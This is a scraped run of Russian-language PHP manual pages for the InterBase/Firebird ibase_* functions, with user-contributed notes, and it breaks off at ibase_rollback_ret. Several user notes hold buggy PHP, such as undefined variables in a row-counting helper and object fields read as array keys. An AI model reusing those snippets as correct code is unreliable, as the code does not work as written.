  • ibase_fetch_object() - Получает объект из базы данных InterBase

User Contributed Notes

karasek ... ceskyserver - dot - cz 26-Apr-2005 12:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@ 13-Dec-2003 06:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);


Получает объект из базы данных InterBase

  • « ibase_fetch_assoc
  • ibase_fetch_row »
  • PHP Manual
  • Функции Firebird/InterBase
  • Получает объект из базы данных InterBase

ibase_fetch_object

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_object — Получает объект из базы данных InterBase

Описание

ibase_fetch_object(resource $result_id, int $fetch_flag = 0): object

Извлекает строку как псевдообъект из заданного идентификатора результата.

Последующие вызовы ibase_fetch_object() вернут следующую строку в наборе результатов.

Список параметров

result_id

Идентификатор результата InterBase, полученный с помощью ibase_query() или ibase_execute().

fetch_flag

fetch_flag представляет собой комбинацию констант IBASE_TEXT и IBASE_UNIXTIME ORed. Передача IBASE_TEXT заставит функцию возвращать содержимое BLOB-объектов вместо идентификаторов BLOB-объектов. Передача IBASE_UNIXTIME заставит функцию возвращать значения даты/времени как метки времени Unix, а не как отформатированные строки.

Возвращаемые значения

Возвращает объект с информацией о строке или false, если строк больше нет.

Примеры

Пример #1 Пример использования ibase_fetch_object()

<?php
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
echo $row->email . "\n";
}
ibase_close($dbh);
?>

Смотрите также

  • ibase_fetch_row() - Извлекает строку из базы данных InterBase
  • ibase_fetch_assoc() - Извлекает строку результата из запроса в виде ассоциативного массива

User Contributed Notes

r dot metzger at spectraweb dot ch 27-Nov-2000 02:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.


Извлекает строку из базы данных InterBase

  • « ibase_fetch_object
  • ibase_field_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Извлекает строку из базы данных InterBase

ibase_fetch_row

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_row — Извлекает строку из базы данных InterBase

Описание

ibase_fetch_row(resource $result_identifier, int $fetch_flag = 0): array

ibase_fetch_row() извлекает одну строку данных из данного набора результатов.

Последующие вызовы ibase_fetch_row() вернут следующую строку в наборе результатов или false, если строк больше нет.

Список параметров

result_identifier

Идентификатор результата InterBase.

fetch_flag

fetch_flag представляет собой комбинацию констант IBASE_TEXT и IBASE_UNIXTIME ORed. Передача IBASE_TEXT заставит функцию возвращать содержимое BLOB-объектов вместо идентификаторов BLOB-объектов. Передача IBASE_UNIXTIME заставит функцию возвращать значения даты/времени как метки времени Unix, а не как отформатированные строки.

Возвращаемые значения

Возвращает массив, соответствующий выбранной строке, или false, если строк больше нет. Каждый столбец результата сохраняется в смещении массива, начиная со смещения 0.

Смотрите также

  • ibase_fetch_assoc() - Извлекает строку результата из запроса в виде ассоциативного массива
  • ibase_fetch_object() - Получает объект из базы данных InterBase

User Contributed Notes

richard at wojthegame dot com 16-Mar-2006 06:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
    $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz 08-Jul-2003 12:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
    if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
    }
    return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
    echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa


Получает информацию о поле

  • « ibase_fetch_row
  • ibase_free_event_handler »
  • PHP Manual
  • Функции Firebird/InterBase
  • Получает информацию о поле

ibase_field_info

(PHP 5, PHP 7 < 7.4.0)

ibase_field_info — Получает информацию о поле

Описание

ibase_field_info(resource $result, int $field_number): array

Возвращает массив с информацией о поле после выполнения запроса select.

Список параметров

result

Идентификатор результата InterBase.

field_number

Смещение поля.

Возвращаемые значения

Возвращает массив со следующими ключами: name, alias, relation, length и type.

Примеры

Пример #1 Пример использования ibase_field_info()

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
$col_info = ibase_field_info($rs, $i);
echo "Имя: ". $col_info['name']. "\n";
echo "Псевдоним: ". $col_info['alias']. "\n";
echo "Связь: ". $col_info['relation']. "\n";
echo "Длина: ". $col_info['length']. "\n";
echo "Тип: ". $col_info['type']. "\n";
}
?>

Смотрите также

  • ibase_num_fields() - Возвращает количество полей в результирующем наборе

User Contributed Notes

tiago at econtabil dot com 13-Oct-2009 07:55
In Firebird 1.5 this function INT64 returned to the fields created as floating point numbers. In Firebird 2.x this function returns as NUMERIC (SIZE, PRECISION). Example: NUMERIC (18,2)

In Brazilian Portuguese:
No Firebird 1.5 esta funcao retornava INT64 para os campos criados como numericos com ponto flutuante. No Firebird 2.x esta funcao retorna como NUMERIC(TAMANHO, PRECISAO). Exemplo: NUMERIC(18,2)
tiago at econtabil dot com 07-Apr-2006 04:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
    $info_field = ibase_field_info($sql, $j-1 );
    print("Name: " . $info_campo[1]); // print the field name
    print("Type:". $info_campo[4]); //print the field type
    print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.


Отменяет зарегистрированный обработчик события

  • « ibase_field_info
  • ibase_free_query »
  • PHP Manual
  • Функции Firebird/InterBase
  • Отменяет зарегистрированный обработчик события

ibase_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_free_event_handler — Отменяет зарегистрированный обработчик события

Описание

ibase_free_event_handler(resource $event): bool

Функция отменяет, зарегистрированный обработчик события, указанный в event. Callback-функция больше не будет вызываться для событий, для которых она была зарегистрирована.

Список параметров

event

Ресурс события, созданный ibase_set_event_handler().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_set_event_handler() - Регистрирует callback-функцию, которая будет вызываться при публикации событий

User Contributed Notes

There are no user contributed notes for this page.


Освобождает память, выделенную на подготовку запроса

  • « ibase_free_event_handler
  • ibase_free_result »
  • PHP Manual
  • Функции Firebird/InterBase
  • Освобождает память, выделенную на подготовку запроса

ibase_free_query

(PHP 5, PHP 7 < 7.4.0)

ibase_free_query — Освобождает память, выделенную на подготовку запроса

Описание

ibase_free_query(resource $query): bool

Освобождает подготовленный запрос.

Список параметров

query

Запрос, подготовленный с помощью ibase_prepare().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Освобождает набор результатов

  • « ibase_free_query
  • ibase_gen_id »
  • PHP Manual
  • Функции Firebird/InterBase
  • Освобождает набор результатов

ibase_free_result

(PHP 5, PHP 7 < 7.4.0)

ibase_free_result — Освобождает набор результатов

Описание

ibase_free_result(resource $result_identifier): bool

Освобождает набор результатов.

Список параметров

result_identifier

Набор результатов, созданных с помощью ibase_query() или ibase_execute().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает указанный генератор и возвращает его новое значение

  • « ibase_free_result
  • ibase_maintain_db »
  • PHP Manual
  • Функции Firebird/InterBase
  • Увеличивает указанный генератор и возвращает его новое значение

ibase_gen_id

(PHP 5, PHP 7 < 7.4.0)

ibase_gen_id — Увеличивает указанный генератор и возвращает его новое значение

Описание

ibase_gen_id(string $generator, int $increment = 1, resource $link_identifier = null): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает новое значение генератора в виде целого числа или строки, если значение слишком большое.

User Contributed Notes

robert 11-Dec-2006 11:24
EXAMPLE:
You need to know the generator?s value after INSERT:

Before INSERT-Statement run

$nextnumber=ibase_gen_id ("GEN_NAME",1);

GEN_NAME: is the generator?s name

1: means add 1 to actual value of generator

$nextnumber: is variable to store generators value after incrementing

In the INSERT-Statement you can use $nextnumber instead of using generator directly like in:
INSERT INTO test (field1, field2) VALUES gen_id(gen_test_id, 1), 'testme');
escoric at latinmail dot com 17-Aug-2004 10:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net 28-Apr-2004 04:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]


Выполняет команду обслуживания на сервере базы данных

  • « ibase_gen_id
  • ibase_modify_user »
  • PHP Manual
  • Функции Firebird/InterBase
  • Выполняет команду обслуживания на сервере базы данных

ibase_maintain_db

(PHP 5, PHP 7 < 7.4.0)

ibase_maintain_db — Выполняет команду обслуживания на сервере базы данных

Описание

ibase_maintain_db(
resource $service_handle,
string $db,
int $action,
int $argument = 0
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет пользователя в безопасной базе данных

  • « ibase_maintain_db
  • ibase_name_result »
  • PHP Manual
  • Функции Firebird/InterBase
  • Изменяет пользователя в безопасной базе данных

ibase_modify_user

(PHP 5, PHP 7 < 7.4.0)

ibase_modify_user — Изменяет пользователя в безопасной базе данных

Описание

ibase_modify_user(
resource $service_handle,
string $user_name,
string $password,
string $first_name = ?,
string $middle_name = ?,
string $last_name = ?
): bool

Список параметров

service_handle

Дескриптор службы сервера базы данных.

user_name

Имя пользователя базы данных для изменения.

password

Новый пароль пользователя.

first_name

Новое имя пользователя.

middle_name

Новое отчество пользователя.

last_name

Новая фамилия пользователя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_add_user() - Добавляет пользователя в безопасную базу данных
  • ibase_delete_user() - Удаляет пользователя из безопасной базы данных

User Contributed Notes

admin at systecdurango dot com 09-Aug-2011 08:16
ibase microsip firebird

<?php
$user_name="ABC";
$password="123";

 $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey");
ibase_modify_user($ibserv, $user_name, $password);
ibase_service_detach($ibserv);
?>

 this change te password por user ABC to 123

SYSDBA USER AND PASSWORD IS NEED TO THIS LINE

<?php $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey"); ?>
_ex at navigators dot lv 24-Jan-2005 01:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
    $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
    ibase_modify_user($ibserv, $user_name, $password);
    ibase_service_dettach($ibserv);


Присваивает имя набору результатов

  • « ibase_modify_user
  • ibase_num_fields »
  • PHP Manual
  • Функции Firebird/InterBase
  • Присваивает имя набору результатов

ibase_name_result

(PHP 5, PHP 7 < 7.4.0)

ibase_name_result — Присваивает имя набору результатов

Описание

ibase_name_result(resource $result, string $name): bool

Функция присваивает имя набору результатов. Имя может быть использовано позже в запросах UPDATE|DELETE ... WHERE CURRENT OF name.

Список параметров

result

Набор результатов InterBase.

name

Имя для назначения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ibase_name_result()

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
ibase_name_result($result, "my_cursor");

$updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

for ($i = 0; ibase_fetch_row($result); ++$i) {
ibase_execute($updateqry, $i);
}
?>

Смотрите также

  • ibase_prepare() - Подготавливает запрос для последующего связывания псевдопеременных и выполнения
  • ibase_execute() - Выполняет предварительно подготовленный запрос

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество полей в результирующем наборе

  • « ibase_name_result
  • ibase_num_params »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает количество полей в результирующем наборе

ibase_num_fields

(PHP 5, PHP 7 < 7.4.0)

ibase_num_fields — Возвращает количество полей в результирующем наборе

Описание

ibase_num_fields(resource $result_id): int

Возвращает количество полей в результирующем наборе.

Список параметров

result_id

Идентификатор результата InterBase.

Возвращаемые значения

Возвращает количество полей в виде целого числа.

Примеры

Пример #1 Пример использования ibase_num_fields()

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
$col_info = ibase_field_info($rs, $i);
echo "Имя: " . $col_info['name'] . "\n";
echo "Псевдоним: " . $col_info['alias'] . "\n";
echo "Связь: " . $col_info['relation'] . "\n";
echo "Длина: " . $col_info['length'] . "\n";
echo "Тип: " . $col_info['type'] . "\n";
}
?>

Смотрите также

  • ibase_field_info() - Получает информацию о поле

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество параметров в подготовленном запросе

  • « ibase_num_fields
  • ibase_param_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает количество параметров в подготовленном запросе

ibase_num_params

(PHP 5, PHP 7 < 7.4.0)

ibase_num_params — Возвращает количество параметров в подготовленном запросе

Описание

ibase_num_params(resource $query): int

Эта функция возвращает количество параметров в подготовленном запросе, указанном query. Это количество связывающих аргументов, которые должны присутствовать при вызове ibase_execute().

Список параметров

query

Дескриптор подготовленного запроса.

Возвращаемые значения

Возвращает количество параметров в виде целого числа.

Смотрите также

  • ibase_prepare() - Подготавливает запрос для последующего связывания псевдопеременных и выполнения
  • ibase_param_info() - Возвращает информацию о параметре в подготовленном запросе

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о параметре в подготовленном запросе

  • « ibase_num_params
  • ibase_pconnect »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает информацию о параметре в подготовленном запросе

ibase_param_info

(PHP 5, PHP 7 < 7.4.0)

ibase_param_info — Возвращает информацию о параметре в подготовленном запросе

Описание

ibase_param_info(resource $query, int $param_number): array

Возвращает массив с информацией о параметре после подготовки запроса.

Список параметров

query

Дескриптор подготовленного запроса InterBase.

param_number

Смещение параметра.

Возвращаемые значения

Возвращает массив со следующими ключами: name, alias, relation, length и type.

Смотрите также

  • ibase_field_info() - Получает информацию о поле
  • ibase_num_params() - Возвращает количество параметров в подготовленном запросе

User Contributed Notes

There are no user contributed notes for this page.


Открывает постоянное соединение с базой данных InterBase

  • « ibase_param_info
  • ibase_prepare »
  • PHP Manual
  • Функции Firebird/InterBase
  • Открывает постоянное соединение с базой данных InterBase

ibase_pconnect

(PHP 5, PHP 7 < 7.4.0)

ibase_pconnect — Открывает постоянное соединение с базой данных InterBase

Описание

ibase_pconnect(
string $database = ?,
string $username = ?,
string $password = ?,
string $charset = ?,
int $buffers = ?,
int $dialect = ?,
string $role = ?,
int $sync = ?
): resource

Открывает постоянное соединение с базой данных InterBase.

Принцип работы ibase_pconnect() очень похож на ibase_connect() с двумя основными отличиями.

Во-первых, при подключении функция сначала попытается найти (постоянную) ссылку, которая уже открыта с такими же параметрами. Если она будет найдена, вместо открытия нового соединения будет возвращён её идентификатор.

Во-вторых, соединение с сервером InterBase не будет закрыто по окончании выполнения скрипта. Вместо этого ссылка останется открытой для использования в дальнейшем (ibase_close() не будет закрывать ссылки, установленные ibase_pconnect()). Поэтому этот тип ссылки называется "постоянным".

Список параметров

database

Аргумент database должен быть допустимым путём к файлу базы данных на сервере, на котором он находится. Если сервер не является локальным, он должен иметь префикс 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) или 'hostname@' (IPX/SPX), в зависимости от используемого протокола подключения.

username

Имя пользователя. Можно установить с помощью директивы php.ini ibase.default_user.

password

Пароль для username. Можно установить с помощью директивы php.ini ibase.default_password.

charset

charset - набор символов по умолчанию для базы данных.

buffers

buffers - количество буферов базы данных, выделяемых для кеша на стороне сервера. Если значение равно 0 или опущено, сервер выбирает собственное значение по умолчанию.

dialect

dialect выбирает диалект SQL по умолчанию для любого выражения, выполняемого в соединении, и по умолчанию выбирает самый высокий диалект, поддерживаемый клиентскими библиотеками. Работает только с InterBase 6 и выше.

role

Работает только с InterBase 5 и выше.

sync

Возвращаемые значения

Возвращает идентификатор ссылки InterBase в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_close() - Закрывает соединение с базой данных InterBase
  • ibase_connect() - Открывает соединение с базой данных

User Contributed Notes

houston_roadrunner at yahoo dot com 19-Apr-2006 08:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.


Подготавливает запрос для последующего связывания псевдопеременных и выполнения

  • « ibase_pconnect
  • ibase_query »
  • PHP Manual
  • Функции Firebird/InterBase
  • Подготавливает запрос для последующего связывания псевдопеременных и выполнения

ibase_prepare

(PHP 5, PHP 7 < 7.4.0)

ibase_prepare — Подготавливает запрос для последующего связывания псевдопеременных и выполнения

Описание

ibase_prepare(string $query): resource
ibase_prepare(resource $link_identifier, string $query): resource
ibase_prepare(resource $link_identifier, string $trans, string $query): resource

Подготавливает запрос для последующего связывания псевдопеременных и выполнения (с помощью ibase_execute()).

Список параметров

query

Запрос InterBase.

link_identifier

Идентификатор ссылки InterBase, возвращаемый функцией ibase_connect(). Если не указан, предполагается последняя открытая ссылка.

trans

Дескриптор транзакции InterBase, с которой должен быть связан запрос. Если не указан, предполагается транзакция соединения по умолчанию.

Возвращаемые значения

Возвращает дескриптор подготовленного запроса или false в случае возникновения ошибки.

User Contributed Notes

Andrew Champ 26-Jan-2016 03:06
<?php

/**
 * EDIT TO ABOVE: The above mentions "ibase_fetch_object".
 * In that case if should be using the object operator.
 * Example below.
 */

$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row->FIRSTNAME;
}
adamson dot ibus at gmail dot com 16-Aug-2012 01:14
ex.

<?php
$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row['FIRSTNAME'];
}


Выполняет запрос к базе данных InterBase

  • « ibase_prepare
  • ibase_restore »
  • PHP Manual
  • Функции Firebird/InterBase
  • Выполняет запрос к базе данных InterBase

ibase_query

(PHP 5, PHP 7 < 7.4.0)

ibase_query — Выполняет запрос к базе данных InterBase

Описание

ibase_query(resource $link_identifier = ?, string $query, int $bind_args = ?): resource

Выполняет запрос к базе данных InterBase.

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

query

Запрос InterBase.

bind_args

Возвращаемые значения

Если запрос вызывает ошибку, возвращает false. В случае успешного выполнения и наличия (возможно, пустого) результирующего набора (например, с запросом SELECT) возвращает идентификатор результата. Если запрос был успешным и результатов не было, возвращает true.

Замечание:

В PHP 5.0.0 и выше эта функция будет возвращать количество строк, затронутых запросом, для операторов INSERT, UPDATE и DELETE. Чтобы сохранить обратную совместимость, она будет возвращать true для этих операций, если запрос выполнен успешно без затрагивания каких-либо строк.

Ошибки

Если вы получаете сообщение об ошибке вроде "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (это происходит, когда вы пытаетесь использовать какой-либо символ с диакритическими знаками) при использовании этой функции и после использования ibase_query(), вы должны установить символьную кодировку (ISO8859_1 или вашу текущую символьную кодировку).

Примеры

Пример #1 Пример использования ibase_query()

<?php

$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';

$sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

Смотрите также

  • ibase_errmsg() - Возвращает сообщение об ошибке
  • ibase_fetch_row() - Извлекает строку из базы данных InterBase
  • ibase_fetch_object() - Получает объект из базы данных InterBase
  • ibase_free_result() - Освобождает набор результатов

User Contributed Notes

coladict at gmail dot com 28-Aug-2015 11:18
Contrary to it's description, the function does not always execute the query, unless you try fetching the results. I discovered this through the following code:

<?php
                $result = ibase_query($dbh,"SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( ? , ? , ? , ? , null , ? )", $bon_id , $plucode2 , $amount , $note ,  $discount);
                $this->log_add(mb_convert_encoding("SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( " . $bon_id . ", " . $plucode2 . ", " . $amount . ", " . $note . ", " . $nullparent . ", " . $discount . " )",'utf8','cp1251'));

                if (!$result){
                    $errmsg = ibase_errmsg();
                    ibase_rollback($dbh);
                    ibase_close($dbh);

                    $this->log_add("Item (" . $mid . " - " . $plucode2 . ") : Error returned (" . __LINE__ . "): " . $errmsg);
                    return "Error sending product ( $m_name). Error message:  $errmsg";
                }

                // item data does NOT enter the database if I don't call ibase_fetch_assoc
                $row = ibase_fetch_assoc($result);
?>

This problem may be limited to FireBird 1.5 or it may not be. Either way, be wary of it.
escoric at latinmail dot com 17-Aug-2004 10:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au 03-Jun-2004 11:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

<?php
function interbase_sql_exec ($sql) {
    $dataArr = array();
    $host = "svrname:path\filename.GDB";
    $username = "whatever";
    $password = "******";
    $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
    $rid = @ibase_query ($connection, $sql);
    if ($rid===false) errorHandle(ibase_errmsg(),$sql);
    $coln = ibase_num_fields($rid);
    $blobFields = array();
    for ($i=0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rid, $i);
        if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
    }
    while ($row = ibase_fetch_row ($rid)) {
        foreach ($blobFields as $field_num=>$field_name) {
            $blobid = ibase_blob_open($row[$field_num]);
            $row[$field_num] = ibase_blob_get($blobid,102400);
            ibase_blob_close($blobid);
        }
        $dataArr[] = $row;
    }
    ibase_close ($connection);
    return $dataArr;
}
?>
SenorTZ senortz at nospam dot yahoo dot com 24-Jul-2003 04:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
    print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
eg. "select rdb\$relation_name as TABLE_NAME from ..."
eric_cavalcanti at hotmail dot com 19-Jan-2002 12:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);


Запускает задачу восстановления в диспетчере служб и немедленно возвращается

  • « ibase_query
  • ibase_rollback_ret »
  • PHP Manual
  • Функции Firebird/InterBase
  • Запускает задачу восстановления в диспетчере служб и немедленно возвращается

ibase_restore

(PHP 5, PHP 7 < 7.4.0)

ibase_restore — Запускает задачу восстановления в диспетчере служб и немедленно возвращается

Описание

ibase_restore(
resource $service_handle,
string $source_file,
string $dest_db,
int $options = 0,
bool $verbose = false
): mixed

Эта функция передаёт аргументы (удалённому) серверу базы данных. Там она начинает новый процесс восстановления. Поэтому вы не получите никакого ответа.

Список параметров

service_handle

Ранее открытое соединение с сервером базы данных.

source_file

Абсолютный путь на сервере, где находится файл резервной копии.

dest_db

Путь для создания новой базы данных на сервере. Вы также можете использовать псевдоним базы данных.

options

Дополнительные параметры для передачи на сервер базы данных для восстановления. Параметр options может быть комбинацией следующих констант: IBASE_RES_DEACTIVATE_IDX, IBASE_RES_NO_SHADOW, IBASE_RES_NO_VALIDITY, IBASE_RES_ONE_AT_A_TIME, IBASE_RES_REPLACE, IBASE_RES_CREATE, IBASE_RES_USE_ALL_SPACE, IBASE_PRP_PAGE_BUFFERS, IBASE_PRP_SWEEP_INTERVAL, IBASE_RES_CREATE. Читайте раздел о Предопределённые константы для получения дополнительной информации.

verbose

Поскольку процесс восстановления выполняется на сервере базы данных, у вас нет возможности получить вывод. Этот аргумент бесполезен.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Поскольку процесс восстановления выполняется на (удалённом) сервере, эта функция просто передаёт ему аргументы. Если аргументы недействительны, то вернётся false.

Примеры

Пример #1 Пример использования ibase_restore()

<?php

// Подключение к серверу базы данных по ip-адресу и порту
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Запуск процесса восстановления на сервере базы данных
// Восстановление резервной копии employee в новую базу данных emps.fdb
// Не используйте никаких специальных аргументов
ibase_restore($service, '/srv/backup/employees.fbk', '/srv/firebird/emps.fdb');

// Освобождение соединения
ibase_service_detach ($service);
?>

Пример #2 Пример использования ibase_restore() с аргументами

<?php

// Присоединение к серверу базы данных по имени и порту по умолчанию
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Запуск процесса восстановления на сервере базы данных
// Восстановление базы данных employee с использованием псевдонима.
// Восстановление без индексов. Замена существующей базы данных.
ibase_restore($service, '/srv/backup/employees.fbk', 'employees.fdb', IBASE_RES_DEACTIVATE_IDX | IBASE_RES_REPLACE);

// Освобождение прикрепленного соединения
ibase_service_detach ($service);
?>

Смотрите также

  • ibase_backup() - Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает

User Contributed Notes

There are no user contributed notes for this page.


Откатывает транзакцию, не закрывая её

  • « ibase_restore
  • ibase_rollback »
  • PHP Manual
  • Функции Firebird/InterBase
  • Откатывает транзакцию, не закрывая её

ibase_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback_ret — Откатывает транзакцию, не закрывая её

Описание

